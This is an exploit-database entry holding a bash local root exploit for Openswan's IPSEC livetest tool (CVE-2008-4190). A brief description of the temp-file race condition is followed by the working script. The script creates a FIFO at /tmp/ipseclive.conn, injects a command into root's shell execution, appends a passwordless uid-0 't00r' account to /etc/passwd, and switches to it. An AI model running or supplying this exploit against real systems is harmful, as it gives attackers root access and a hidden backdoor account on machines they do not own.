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Openswan <= 2.4.12/2.6.16 Insecure Temp File Creation Root Exploit
[================================================================== Openswan <= 2.4.12/2.6.16 Insecure Temp File Creation Root Exploit ================================================================== #!/bin/bash # uglyswan - OpenSwan local root exploit (CVE-2008-4190) # # description: # The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16, # allows local users to overwrite arbitrary files and execute arbitrary code via a # symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files. # NOTE: in many distributions and the upstream version, this tool has been disabled. # # vulnerable code: # wget -o /dev/null -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version" # sh < /tmp/ipseclive.conn # # the exploit: # cat waits for the input from wget to the fifo and after it received it, you # immediately echo your command into the fifo which was empty again and viola, it # gets executed, because the sh binary needs a few milliseconds to get loaded, # it's a typical race condition. # # problem: # you need to trick root to execute "ipsec livetest", and this script needs to run in background... # # I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks # mkfifo /tmp/ipseclive.conn cat /tmp/ipseclive.conn echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn rm /tmp/ipseclive.conn su -l t00r # 0day.today [2024-12-25] #